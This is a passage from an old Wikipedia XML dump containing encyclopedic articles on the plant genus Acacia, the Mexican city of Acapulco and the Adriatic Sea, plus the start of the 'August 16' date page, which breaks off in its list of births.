| image_caption = ''[[Acacia melanoxylon]]'' foliage and flowers
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Fabales]]
| familia = [[Fabaceae]]
| subfamilia = [[Mimosoideae]]
| tribus = Acacieae
| genus = '''''Acacia'''''
| genus_authority = [[Gerrit Smith Miller|Miller]]
| subdivision_ranks = Species
| subdivision = 
About 1,300; see [[List of Acacia species]]
}}
:''For Acacia Research Corporation, see [[Acacia Technologies]]. For Acacia Fraternity, see [[Acacia Fraternity]].''

'''''Acacia''''' is a genus of [[shrub]]s and [[tree]]s of [[Gondwana|Gondwanian]] origin belonging to the Subfamily [[Mimosoideae]] of the Pea Family (Family [[Fabaceae]]), first described from Africa by [[Carolus Linnaeus|Linnaeus]] in [[1773]]. There are roughly 1300 species of ''Acacia'' worldwide, about 950 of them native to [[Australia]], with the remainder spread around the dry tropical to warm-temperate regions of both hemispheres, including Africa, southern Asia, and the Americas. The Genus ''Acacia'' however is apparently not [[monophyletic]]. This discovery has led to the breaking up of ''Acacia'' into five new genera as discussed in [[List of Acacia species]].

The northernmost species in the genus is ''Acacia greggii'' ([[Catclaw Acacia]]), reaching 37°10' N in southern [[Utah]] in the [[United States]]; the southernmost are ''Acacia dealbata'' ([[Silver Wattle]]), ''Acacia longifolia'' ([[Coast Wattle]] or Sydney Golden Wattle), ''Acacia mearnsii'' ([[Black Wattle]]), and ''Acacia melanoxylon'' ([[Acacia melanoxylon|Blackwood]]), reaching 43°30' S in [[Tasmania]], Australia, while ''Acacia caven'' ([[Espinillo Negro]]) reaches nearly as far south in northeastern [[Chubut Province]] of [[Argentina]]. Australian species are usually called '''[[wattle]]s''', while African and American species tend to be known as '''acacias'''.

The leaves of acacias are compound pinnate in general. In some species, however, more especially in the Australian and Pacific islands species, the leaflets are suppressed, and the leaf-stalks ('''[[petiole]]s''') become vertically flattened, and serve the purpose of leaves; these are known as '''[[phyllode]]s'''. The vertical orientation of the phyllodes protects them from intense sunlight, as with their edges towards the sky and earth they do not intercept light so fully as horizontally placed leaves. A few species (such as ''[[Acacia glaucoptera]]'') lack leaves or phyllodes altogether, but possess instead '''[[cladode]]s''', modified leaf-like photosynthetic stems functioning as leaves.

The small [[flower]]s have five, very small petals, almost hidden by the long stamens, and are arranged in dense globular or cylindrical clusters; they are yellow or cream-colored in most species, whitish in some, even purple (as in ''[[Acacia purpureapetala]]'') or red (in the recently grown cultivar ''[[Acacia leprosa]] 'Scarlet Blaze''').

The plants often bear spines, especially those species growing in arid regions. These sometimes represent branches which have become short, hard and pungent, or sometimes leaf-stipules. ''Acacia armata'' is the [[Kangaroo-thorn]] of Australia, ''Acacia giraffae'', the [[Camelthorn]] of Africa. In the Central American ''Acacia sphaerocephala'' ([[Bullthorn Acacia]]) and ''[[Acacia spadicigera]]'', the large thorn-like stipules are hollow and afford shelter for [[ant]]s, which feed on a secretion of honey on the leaf-stalk and curious food-bodies at the tips of the leaflets; in return they protect the plant against leaf-eating insects.

In common parlance the term &quot;acacia&quot; is occasionally misapplied to species of the Genus ''Robinia'', which also belongs in the pea family.  ''Robinia pseudoacacia'', an American species locally known as [[Black locust]], is sometimes called &quot;false acacia&quot; in cultivation in Britain.

In Australia, ''Acacia'' species are sometimes used as food plants by the [[larva]]e of [[Hepialidae|hepialid]] [[moth]]s of the genus ''[[Aenetus]]'' including ''A. ligniveren''. These burrow horizontally into the trunk then vertically down. Other [[Lepidoptera]] larvae which have been recorded feeding on ''Acacia'' include [[Brown-tail]], ''[[Endoclita|Endoclita malabaricus]]'' and [[Turnip Moth]]. The leaf-mining larvae of some [[Bucculatricidae|bucculatricid]] moths also feed on ''Acacia'': ''Bucculatrix agilis'' feeds exclusively on ''Acacia horrida'', ''Bucculatrix flexuosa'' feeds exclusively on ''Acacia nilotica''.

== Uses ==
[[Image:Acaciaauriculiformis1web.jpg|thumb|right|250px|Earpod Wattle (''Acacia auriculiformis'')]]

===Industrial and medicinal uses===
Various species of acacia yield gum.  True [[gum arabic]] is the product of ''[[Acacia senegal]]'', abundant in dry tropical west Africa from [[Senegal]] to northern [[Nigeria]]. 

''[[Acacia arabica]]'' is the gum-arabic tree of India, but yields a gum inferior to the true gum-arabic. The bark of ''Acacia arabica'', under the name of '''babul''' or '''babool''', is used in Scinde for tanning. In [[Ayurvedic medicine]], babul is considered a remedy that is helpful for treating premature ejaculation.

The bark of various Australian species, known as wattles, is very rich in tannin and forms an important article of export; important species include ''Acacia pycnantha'' (Golden Wattle), ''Acacia decurrens'' (Tan Wattle), ''Acacia dealbata'' (Silver Wattle) and ''Acacia mearnsii'' (Black Wattle). Black Wattle is grown in  plantations in South Africa.  The pods of ''[[Acacia nilotica]]'' (under the name of neb-neb), and of other African species are also rich in tannin and used by tanners.

Some species afford valuable timber; such are ''Acacia melanoxylon'' (Blackwood) from [[Australia]], which attains a great size; its wood is used for furniture, and takes a high polish; and ''Acacia homalophylla'' ([[Myall Wood]], also Australian), which yields a fragrant timber, used for ornamental purposes. ''[[Acacia formosa]]'' supplies the valuable [[Cuba]]n timber called sabicu. ''[[Acacia seyal]]'' is thought to be the shittah tree of the [[Bible]], which supplied shittim-wood. This was used in the construction of the [[Ark of the Covenant]]. As a spiritual icon it is also one of the most powerful symbols in [[freemasonry]], representing the eternal soul and purity of the soul. ''[[Acacia heterophylla]]'' from [[Réunion]] island, and ''[[Koa|Acacia koa]]'' from the [[Hawaiian Islands]] are excellent timber trees.

''Acacia farnesiana'' is used in the perfume industry due to its strong fragrance.

An astringent medicine, called [[catechu]] or cutch, is procured from several species, but more especially from ''[[Acacia catechu]]'', by boiling down the wood and evaporating the solution so as to get an extract.

===Ornamental uses===
A few species are widely grown as ornamentals in [[garden]]s; the most popular perhaps is ''Acacia dealbata'' (Silver Wattle), with its attractive glaucous to silvery leaves and bright yellow flowers; it is erroneously known as &quot;mimosa&quot; in some areas where it is cultivated, through confusion with the related genus ''[[Mimosa]]''.

===Culinary uses===
[[Acacia seed]]s are often used for food and a variety of other products. The seeds of ''[[Acacia niopo]]'', for instance, are roasted and used as [[snuff]] in [[South America]]. 

In [[Laos]] and [[Thailand]], the feathery shoots of ''[[Acacia pennata]]'' (common name ''cha-om'') are used in soups, curries, omelettes, and stir-fries.

===Pharmacological uses===
Many Acacia species contain some psychoactive alkaloids of which [[Dimethyltryptamine|DMT]] and [[N-methyltryptamine|NMT]] are the most prominent and useful. The leaves, stems and/or roots can be made into a brew together with some [[Monoamine oxidase inhibitor|MAOI]]-containing plant to obtain an effect when taken orally. This could be seen as a kind of ''[[Ayahuasca]]''. Maybe in relation to this effect, [[Egyptian mythology]] has associated the acacia tree with characteristics of the [[tree of life]] (cf. article on the [[Legend of Osiris and Isis]]). 

Alkaloids in different species, from ''[[TiHKAL]]'' (by [[Alexander Shulgin]]):
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;''A. baileyana''&lt;/td&gt;&lt;td&gt;0.02% tryptamine and &amp;beta;-carbolines, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. maidenii''&lt;/td&gt;&lt;td&gt;DMT and NMT, in the stem bark&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. albida''&lt;/td&gt;&lt;td&gt;DMT, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. confusa''&lt;/td&gt;&lt;td&gt;DMT and NMT, in the leaf, stem and bark&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. cultriformis''&lt;/td&gt;&lt;td&gt;tryptamine, in the leaf and stem&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. laeta''&lt;/td&gt;&lt;td&gt;DMT, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. mellifera''&lt;/td&gt;&lt;td&gt;DMT, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. nilotica''&lt;/td&gt;&lt;td&gt;DMT, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. phlebophylla''&lt;/td&gt;&lt;td&gt;DMT, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. podalyriaefolia''&lt;/td&gt;&lt;td&gt;tryptamine, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. senegal''&lt;/td&gt;&lt;td&gt;DMT, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. seyal''&lt;/td&gt;&lt;td&gt;DMT, in the leaf&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. sieberiana''&lt;/td&gt;&lt;td&gt;DMT, in the leaf)
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. simplicifolia''&lt;/td&gt;&lt;td&gt;DMT and NMT, in the leaf, stem and trunk bark&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;''A. vestita''&lt;/td&gt;&lt;td&gt;tryptamine, in the leaf and stem&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

== Species ==
There are over 1,300 species of Acacia. See [[List of Acacia species]] for a complete listing. 

== External links ==
{{wikispecies|Acacia}}
{{Commons|Acacia}}
* [http://www.worldwidewattle.com/ World Wide Wattle]
* [http://waynesword.palomar.edu/plaug99.htm Wayne's Word] on &quot;The Unforgettable Acacias&quot;

[[Category:Acacia| ]]
[[Category:Pantropical Flora]]
[[Category:Australian plants]]
[[Category:Argentine flora]]
[[Category:Trees of Africa]]

[[ar:طلح]]
[[bg:Акация]]
[[da:Akacie]]
[[de:Akazien]]
[[et:Akaatsia]]
[[es:Acacia]]
[[eo:Akacio]]
[[fr:Acacia]]
[[gl:Acacia]]
[[ko:아카시아속]]
[[it:Acacia]]
[[nl:Acacia]]
[[ja:アカシア]]
[[pl:Akacja]]
[[pt:Acácia]]
[[sr:Акација]]
[[uk:Акація]]
[[vi:Chi Keo]]
[[zh:金合欢]]</text>
    </revision>
  </page>
  <page>
    <title>Acapulco</title>
    <id>1446</id>
    <revision>
      <id>41701158</id>
      <timestamp>2006-03-01T03:49:01Z</timestamp>
      <contributor>
        <username>Tyler Oderkirk</username>
        <id>430856</id>
      </contributor>
      <minor />
      <comment>Typo fix: &quot;non&quot; -&gt; &quot;none&quot;</comment>
      <text xml:space="preserve">: ''This article is about the city in Mexico; there is also a town called [[Acapulco, Peru|Acapulco]] in Peru.''
'''Acapulco''' (Officially: '''Acapulco de Juárez''') is a city and major [[sea port]] in the state of [[Guerrero]] on the Pacific coast of [[Mexico]], 300 km (190 miles) southwest from [[Mexico City]], at {{coor d|16.85|N|99.92|W|}}. Acapulco is located on a deep, semi-circular bay. Many consider it to be one of the best harbours on the [[Pacific Ocean|Pacific]] coast of Mexico, and it is a port of call for shipping lines running between [[Panama]] and [[San Francisco, California]], [[United States|USA]]. In [[2003]] the estimated population was 638,000 people. [[Image:spring break.jpg||thumb|280px|right|Acapulco Beach]]
[[Image:JLNYCAcapulcoBay.jpg|thumb|right|Acapulco]] 

==Geography==
The town is built on a narrow strip of low land, scarcely half a mile wide, between the shore line and the lofty mountains that encircle the bay.  There is great natural beauty in the surroundings, mountains render the access to the town, though not difficult to access particularly since the construction of a 2-km-long tunnel to the waterfront from the hinterland in the [[1990s]].  An earlier effort to admit the cooling sea breezes by cutting through the mountains a passage called the Abra de San Nicolas had some beneficial effect.  

==History== 
Acapulco has been well known as a traveler's crossroads for at least a millennium. Its name is a [[Nahuatl]] word, meaning &quot;plain of dense reeds.&quot;

The earliest local remains, stone metates and pottery utensils, were left in the [[3rd millennium BC]].  Much later, sophisticated artisans fashioned curvaceous female figurines.  Some hypothesize that there was early Polynesian or Asian influences in Pacific Mexico as early as 1500 years before the arrival [[Christopher Columbus]].

Other artifacts resemble those found in highland Mexico.  Although influenced by [[Tarascan]], [[Mixtec]], [[Zapotec]], and [[Aztec]] civilizations, sometimes paying tribute to them and frequented by their traders, Acapulco never came under their direct control, but instead remained subject to local caciques until the [[Spain|Spanish]] conquest.
[[Image:Puerto_de_Acapulco_Boot_1628.png|right|thumb|A 1628 Spanish relief map of Acapulco Bay]]
After conquering the Aztecs, [[Hernán Cortés]] sent expeditions south to build ships and find a route to [[China]]. The first explorers sailed from [[Zacatula]], near present-day [[Lázaro Cárdenas, Michoacán]], on the coast 400 km (250 miles) north-west of Acapulco.  By a royal decree dated [[April 25]], [[1528]], &quot;Acapulco and her land ... where the ships of the south will be built....&quot; passed directly into the hands of the Spanish Crown.  Voyages of discovery set sail from Acapulco for [[Peru]], the [[Sea of Cortez]], and to [[Asia]].  None returned across the Pacific, however, until Augustinian priest [[Andrés de Urdaneta]] discovered the northern Pacific tradewinds, which propelled him and his ship, loaded with Chinese treasure, to Acapulco in [[1565]].

For more than 200 years after that, a special yearly trading ship, known to the English as the [[Manila Galleon]], set sail from Acapulco for the [[Manila]] and the Orient. Its return started an annual merchant fair in Acapulco where traders bargained for the Galleon's cargo of silks, porcelain, ivory, and lacquerware.  This trade connection, which persisted up to Mexican independence, was instrumental in placing the [[Philippines]] on the east side of the [[International Date Line]] until the end of [[1844]].

Acapulco's yearly treasure soon attracted marauders, too.  In [[1579]], [[Francis Drake]] attacked but failed to capture the Galleon, but in [[1587]], off [[Cabo San Lucas]], [[Thomas Cavendish]] seized the ''Santa Anna''.  The cash alone, 1.2 million [[gold]] pesos, severely depressed the [[London bullion market]].

After a [[Netherlands|Dutch]] fleet invaded Acapulco in [[1615]], the Spanish rebuilt their fort, which they christened ''Fort San Diego'' in [[1617]].  Destroyed by an [[earthquake]] in [[1776]], the fort was rebuilt by 1783.  The [[Mexican War of Independence|War of Independence]] ([[1820]]-[[1821|21]]) stopped the Manila Galleon forever, sending Acapulco into a century-long slumber.

The town suffered considerably from [[earthquake]]s in July and August [[1909]].  

[[Miguel Aleman Valdes]] was the [[President of Mexico]] who put so much in the modernization and development of Acapulco. He did so much not only as President but also as the Head of Mexico's National Tourist Commission after he left office. 

Acapulco was devastated by [[Hurricane Pauline]] in [[October]] [[1997]].

==Economy==
There are exports of hides, [[wood]], and fruit, and the adjacent district of [[Tabares]] produces [[cotton]], [[tobacco]], [[cacao]], [[sugarcane]], Indian corn, beans, and [[coffee]].

==Acapulco as a holiday resort==
[[Image:Acapulco.jpg|thumb|right|View of the Pacific Ocean from an Acapulco hotel]]

For many years Acapulco has been a popular resort for holiday makers. The city has had its star-spangled times, prompting none other than Old Blue Eyes [[Frank Sinatra]] to give the place a mention in his all time classic [[Come Fly With Me]]. Modern Acapulco still has a great appeal. The vast majority of the tourists now tend to come from the rest of Mexico but several other foreign nationals make appearances in the numerous bars and clubs dotted around the bay come sun down. 

In recent years, Acapulco has made some ground on [[Cancún]] for Spring Break's most popular resort destinations. Acapulco offers a relatively unknown experience and a larger international student crowd than Cancún. Due to a recent gun fight between drugdealers and police that left 4 drug dealers dead, the town has feared it might affect tourism this spring break.[http://www.npr.org/templates/story/story.php?storyId=5228258][http://www.univision.com/content/content.jhtml?cid=784788][http://www.el-universal.com.mx/notas/327982.html][http://www.jornada.unam.mx/2006/01/28/003n1pol.php][http://www.cronica.com.mx/nota.php?idc=223266]

==Transportation==
By the early [[20th century]], the town was chosen as the terminus for two railway lines seeking a Pacific port &amp;ndash; the Interoceanic and the Mexican Central.  The port city grew greatly in the 20th century.

Acapulco is served by [[General Juan N. Álvarez International Airport]].

==External links==
* {{wikitravel}}
* [http://maps.google.com/maps?ll=16.870193,-99.875679&amp;spn=0.166014,0.234180&amp;t=k&amp;hl=en Satellite picture from Google Local]

==References==
*{{1911}}

==Sources==
*[http://www.el-universal.com.mx/notas/327982.html Ejército y agentes federales sitian Acapulco tras balacera, January 29, 2006]
*[http://www.univision.com/content/content.jhtml?cid=784788 Tiroteo en México dejó cuatro muertos, January 28, 2006]
*[http://www.jornada.unam.mx/2006/01/28/003n1pol.php Balacera entre narcos y policías en Acapulco; versiones contradictorias, January 28, 2006]
*[http://www.cronica.com.mx/nota.php?idc=223266 Narcos y policías se baten a balazos en Acapulco, January 28, 2006]

==See also==
* [[Spring Break]]
* [[Acafest]]

[[Category:Cities in Guerrero]]
[[Category:Coastal cities]]
[[Category:Beaches of Mexico]]
[[Category:Mexican Ports]]

[[da:Acapulco]]
[[de:Acapulco]]
[[et:Acapulco]]
[[es:Acapulco]]
[[fr:Acapulco de Juárez]]
[[gl:Acapulco]]
[[ko:아카풀코]]
[[nl:Acapulco de Juárez]]
[[ja:アカプルコ]]
[[pl:Acapulco]]
[[pt:Acapulco]]
[[ru:Акапулько]]
[[fi:Acapulco]]
[[sv:Acapulco]]
[[uk:Акапулько]]</text>
    </revision>
  </page>
  <page>
    <title>Adriatic Sea</title>
    <id>1447</id>
    <revision>
      <id>41942083</id>
      <timestamp>2006-03-02T19:59:18Z</timestamp>
      <contributor>
        <username>NormanEinstein</username>
        <id>176266</id>
      </contributor>
      <minor />
      <comment>/* Name and etymology */ Mons Garganus -&gt; Monte Gargano</comment>
      <text xml:space="preserve">[[Image:Adriatic Sea.jpg|thumb|400px|right|The Adriatic Sea&lt;br&gt;''Source:'' [[NASA]]]]

The '''Adriatic Sea''' is an arm of the [[Mediterranean Sea]] separating the [[Italian peninsula]] from the [[Balkan peninsula]], and the system of the [[Apennine Mountains]] from that of the [[Dinaric Alps]] and adjacent ranges.

The western coast is [[Italy|Italian]], while the eastern coast runs along the countries of [[Slovenia]], [[Croatia]], [[Bosnia and Herzegovina]], [[Serbia and Montenegro]], and [[Albania]].

==Name and etymology==
[[Image:Adriatic Sea map.png|thumb|right|Map of the Adriatic Sea]]

The name has existed since the antiquity; in [[Latin]] it was ''Mare Hadriaticum''. The name, derived from the town of [[Adria]] (or ''Hadria''), belonged originally only to the upper portion of the sea (Herodotus vi. 127, vii. 20, ix. 92; Euripides, ''Hippolytus,'' 736), but was gradually extended as the [[Syracuse, Italy|Syracusan]] colonies gained in importance.

But even then the Adriatic in the narrower sense only extended as far as the [[Monte Gargano]], the outer portion being called the [[Ionian Sea]]:
the name was sometimes, however, inaccurately used to include the Gulf of Tarentum (the modern-day [[Gulf of Taranto]]), the [[Sea of Sicily]], the [[Gulf of Corinth]] and even the sea between [[Crete]] and [[Malta]] (Acts xxvii. 27).

The Adriatic Sea is east of Italy, a major tourist attraction. It was used by the ancient Romans to transport objects (including animals and [[slaves]]) to Ostia (the Roman port). These objects were used in various places in Rome.

==Extent==
The Adriatic extends northwest from 40° to 45° 45' N., with an extreme length of about 770 km (415 [[nautical mile|nm]], 480 [[mile|mi]]). It has a [[arithmetic mean|mean]] breadth of about 160 km (85 [[nautical mile|nm]], 100 [[mile|mi]]), although the [[Strait of Otranto]], through which it connects at the south with the Ionian Sea, is only 45-55 [[nautical mile]]s wide (85-100 km).

Moreover, the chain of islands which fringes the northern part of the eastern shore reduces the extreme breadth of open sea in this part to 145 km (78 nm, 90 mi). Its total surface area is about 60,000 square miles ([[1 E11 m²|160,000]] [[square kilometre|km²]]).

The northern part of the sea is very shallow, and between the southern promontories of [[Istria]] and [[Rimini]] the depth rarely exceeds 46 m (25 [[fathom]]s). Between [[Sibenik|Šibenik]] and [[Ortona]] a well-marked depression occurs, a considerable area of which exceeds 180 m (100 fathoms) in depth.

From a point between [[Korcula|Korčula]] and the north shore of the spur of [[Monte Gargano]] there is a ridge giving shallower water, and a broken chain of a few islets extends across the sea.

The deepest part of the sea lies east of Monte Gargano, south of Dubrovnik, and west of [[Durrës]] where a large basin gives depths of 900 m (500 fathoms) and upwards, and a small area in the south of this basin falls below 1,460 m (800 fathoms). 
The mean depth of the sea is estimated at 240 m (133 fathoms).

==Coasts and islands==
The west shore is generally low, merging, in the northwest, into the marshes and lagoons on either hand of the protruding delta of the river [[Po river|Po]], the [[sediment]] of which has pushed forward the coastline for several miles within historic times — Adria is now some distance from the shore.

On islands within one of the lagoons opening from the [[Gulf of Venice]], [[Venice]] has its unique situation. Other notable cities on the Italian coast are [[Trieste]], [[Ravenna]], [[Rimini]], [[Ancona]], [[Pescara]], [[Bari]] and [[Brindisi]]. 

The east coast is generally bold and rocky, with many islands. South of the [[Istria|Istrian Peninsula]], which separates the Gulfs of Venice and [[Gulf of Trieste]] from the [[Bay of Kvarner]], the island-fringe of the east coast extends as far south as [[Dubrovnik]].

The islands, which are long and narrow (the long axis lying parallel with the coast of the mainland), rise rather abruptly to elevations of a few hundred feet, with the exception of a few larger islands like [[Brač]] (Vidova gora, 778 m) or the peninsula [[Pelješac]] (St. Ilija, 961 m). There are over a thousand islands in the Adriatic, 66 of which are inhabited.

On the mainland, notably in the magnificent inlet of the [[Gulf of Kotor]] (Boka Kotorska, Bocche di Cattaro; named after the town of [[Kotor]]), lofty mountains often fall directly to the sea.

The prevalent colour of the rocks is a light, dead grey, contrasting harshly with the dark vegetation, which on some of the islands is luxuriant. In fact, [[Montenegro]] (Black Mountain) was named after the [[European black pine|black pines]] that cover the coast there, and similarly the Greek name for the island of [[Korčula]] is ''Korkyra Melaina'' meaning &quot;Black Corfu&quot;.

Major cities on the northeastern coast include [[Trieste]] in Italy; [[Izola]], [[Koper]], [[Piran]] and [[Portorož]] in Slovenia; [[Pula]], [[Rovinj]], [[Poreč]], [[Rijeka]], [[Zadar]], [[Šibenik]], [[Trogir]], [[Split]], [[Dubrovnik]] in Croatia; [[Herceg Novi]], [[Bar, Serbia and Montenegro|Bar]], [[Ulcinj]] in Montenegro; and [[Durrës]] in Albania.

==Miscellaneous==
The [[bora|''bora'' or ''bura'']] (northeast wind), and the prevalence of sudden squalls from this quarter or the southeast, are dangers to navigation in winter. Also notable are [[sirocco|''sirocco'' or ''jugo'']] (southern wind) which brings rain in the winter and ''[[maestral]]'' (western wind) which brings nice weather in the summer.

Tidal movement is slight. The [[amphidromic point]] is just off the northwestern shore, near Ancona.

Both coasts are popular [[tourism|tourist]] destinations.

==See also==
* [[List of rivers of Europe#Mediterranean Sea|List of rivers of Europe]]
* [[List of islands in the Adriatic]]

== External links ==
* [http://www.geabios.com/html/services/maps/PublicMap.htm?lat=42.465&amp;lon=15.876875&amp;fov=8.66&amp;title=Adriatic%20Sea Satellite images and maps of Adriatic Sea] from [[GeaBios]] GIS Public Service
* [http://www.geabios.com/services/meteo/wv2.11/wv.htm Weather forecast for eastern coast] from [[GeaBios]] GIS Public Service
 
[[Category:Seas of the Atlantic Ocean]]
[[Category:Geography of Croatia]]

[[ar:بحر أدرياتيكي]]
[[bg:Адриатическо море]]
[[bs:Jadransko more]]
[[ca:Mar Adriàtica]]
[[cs:Jaderské moře]]
[[da:Adriaterhavet]]
[[de:Adriatisches Meer]]
[[et:Aadria meri]]
[[el:Αδριατική θάλασσα]]
[[es:Mar Adriático]]
[[eo:Adriatiko]]
[[eu:itsaso Adriatiko]]
[[fr:Mer Adriatique]]
[[gl:Mar Adriático]]
[[ko:아드리아 해]]
[[hr:Jadransko more]]
[[id:Laut Adriatik]]
[[is:Adríahaf]]
[[it:Mare Adriatico]]
[[he:הים האדריאטי]]
[[la:Hadriaticum]]
[[lt:Adrijos jūra]]
[[hu:Adriai-tenger]]
[[nl:Adriatische Zee]]
[[ja:アドリア海]]
[[no:Adriaterhavet]]
[[pl:Morze Adriatyckie]]
[[pt:Mar Adriático]]
[[ro:Marea Adriatică]]
[[ru:Адриатическое море]]
[[sk:Jadranské more]]
[[sl:Jadransko morje]]
[[sr:Јадранско море]]
[[sv:Adriatiska havet]]
[[tl:Dagat Adriatiko]]
[[uk:Адріатичне море]]
[[zh:亚得里亚海]]</text>
    </revision>
  </page>
  <page>
    <title>August 16</title>
    <id>1448</id>
    <revision>
      <id>40525836</id>
      <timestamp>2006-02-21T05:21:51Z</timestamp>
      <contributor>
        <ip>64.53.209.169</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=16}}
|}
'''[[August 16]]''' is the 228th day of the year (229th in [[leap year]]s) in the [[Gregorian Calendar]].  There are 137 days remaining.

==Events==
* [[1777]] - [[American Revolutionary War]]:  [[Battle of Bennington]] - [[Kingdom of Great Britain|British]] forces are defeated by [[United States|American]] troops.  
* [[1780]] - American Revolutionary War: [[Battle of Camden]] - The British defeat the Americans near [[Camden, South Carolina]].  
* [[1812]] - [[War of 1812]]: American General [[William Hull]] surrenders [[Fort Detroit]] without a fight to the [[British Army]]. 
* [[1819]] - Eleven people die and 400 are injured by [[cavalry]] charges at the [[Peterloo Massacre]] at a public meeting at St. Peter's Field, Manchester, England.
* [[1841]] - [[U.S. President]] [[John Tyler]] vetoes a bill which called for the re-establishment of  the [[Second Bank of the United States]]. Enraged [[United States Whig Party|Whig Party]] members riot outside the [[White House]] in the most violent demonstration on White House grounds in U.S. history. 
* [[1858]] - U.S. President [[James Buchanan]] inaugurates the new [[transatlantic telegraph cable]] cable by exchanging greetings with Queen [[Victoria of the United Kingdom]]. However, a weak signal will force a shutdown of the service in a few weeks.
* [[1868]] - Arica, Peru (now Chile) is devastated by a tsunami which followed a magnitude 8.5 earthquake in the Peru-Chile Trench off the coast. The earthquake and tsunami killed an estimated 25,000 people in Arica and perhaps 70,000 people in all.
* [[1896]] - [[Skookum Jim Mason]], George Carmack and [[Dawson Charlie]] discover gold in the [[Klondike, Yukon|Klondike]] in [[Canada]].
* [[1913]] - Tōhoku Imperial University (modern day [[Tohoku University|Tōhoku University]]) admits its first female students.
* [[1915]] - [[World War I]]: Should victory be achieved over the [[Central Powers]], the [[Triple Entente]] promises the Kingdom of [[Serbia]]: the Austro-Hungarian territories of [[Baranja]], [[Srem (region)|Srem]], [[Slavonia]], and [[Bosnia and Herzegovina]]; and the eastern 2/3 of [[Dalmatia]] (from the river of [[Krka]] to the city of [[Bar, Serbia and Montenegro|Bar]]). 
* [[1920]] - [[Ray Chapman]] of the [[Cleveland Indians]] is hit in the head by a [[fastball]] thrown by [[Carl Mays]] of the [[New York Yankees]], and dies early the next day.  To date, Chapman is the only player to die from injuries sustained in a [[Major League Baseball]] game.  
* [[1928]] - Murderer [[Carl Panzram]] is arrested in [[Washington, DC]] after killing 20 people.
* [[1930]] - The first color sound [[cartoon]], called ''Fiddlesticks'', is made by [[Ub Iwerks]]
* [[1942]] - [[World War II]]: - The two-person crew of the U.S. naval blimp L-8 disappear without a trace on a routine anti-submarine patrol over the [[Pacific Ocean]].  The blimp drifts without her crew and crashlands in [[Daly City]], [[California]].
* [[1946]] - The Japan Business Federation, or [[Nihon Keidanren|Keidanren]], is established, and Ichirō Ishikawa is appointed its representative.
* [[1954]] - ''[[Sports Illustrated]]'' magazine is first published.  
* [[1960]] - [[Cyprus]] gains its independence from the [[United Kingdom]]. 
* 1960 - [[Joseph Kittinger]] parachutes from a balloon over [[New Mexico]] at 102,800 feet (31,330 m), setting three records that still stand today: high-altitude jump, [[free-fall]], and fastest speed by a [[human]] without an aircraft.  
* [[1962]] - [[The Beatles]] fire drummer [[Pete Best]] and replace him with [[Ringo Starr]]. 
* [[1964]] - [[Vietnam War]]: A ''[[coup d'état]]'' replaces [[Duong Van Minh]] with General [[Nguyen Khanh]] as President of [[South Vietnam]]. A new [[constitution]] is established with aid from the [[U.S. Embassy]].  
* [[1966]] - Vietnam War: The [[House Un-American Activities Committee]] begins investigations of Americans who have aided the [[Viet Cong]].  The committee intends to introduce legislation making these activities illegal. Anti-war demonstrators disrupt the meeting and 50 people are arrested.  
* [[1972]] - The [[Royal Moroccan Air Force]] mistakenly fires upon, but fails to bring down, [[Hassan II of Morocco]]'s plane while he is traveling back to [[Rabat]]. 
* [[1974]] - [[The Ramones]] play their first ever show at the [[CBGB's]].
* [[1984]] - Carmaker [[John De Lorean]] is acquitted of all eight counts of possessing and distributing [[cocaine]].  
* [[1987]] - A [[McDonnell Douglas MD-82]] carrying [[Northwest Airlines flight 255]] crashes on takeoff from [[Detroit Metropolitan Airport]] killing 155 people onboard, with the sole survivor four-year old [[Cecelia Cichan]]). 
* [[1993]] - The [[Debian]] [[GNU/Linux distribution]] is founded by [[Ian Murdock]].
* [[1996]] - [[Sigma Beta Rho]] is founded at the University of Pennsylvania.
* [[2003]] - [[U.S. Representative]] from [[South Dakota]] [[Bill Janklow]] hits and kills a motorcyclist with his car at a rural intersection near [[Trent, South Dakota]]; he will eventually be convicted of [[manslaughter]] and will resign from [[U.S. Congress|Congress]].
* [[2005]] - [[West Caribbean Airways Flight 708]] crashes near [[Machiques]], [[Venezuela]], killing the 160 aboard.

==Births==
*[[1355]] - [[Philippa Plantagenet]], Countess of Ulster
*[[1378]] - [[Hongxi Emperor]] of China (d. [[1425]])
*[[1557]] - [[Agostino Carracci]], Italian artist (d. [[1602]])
*[[1596]] - [[Frederick V, Elector Palatine]] (d. [[1632]])
*[[1645]] - [[Jean de La Bruyère]], French writer (d. [[1696]])
*[[1650]] - [[Vincenzo Coronelli]], Italian cartographer and encylopedist (d. [[1718]])
*[[1682]] - [[Louis, Duke of Burgundy]], heir to the throne of France (d. [[1712]])
*[[1832]] - [[Wilhelm Wundt]], German psychologist (d. [[1920]])
*[[1845]] - [[Gabriel Lippmann]], French physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1921]])
*[[1860]] - [[Jules Laforgue]], French poet (d. [[1887]])
*[[1862]] - [[Amos Alonzo Stagg]], American coach (d. [[1965]])
*[[1868]] - [[Bernarr McFadden]], American publisher (d. [[1955]])
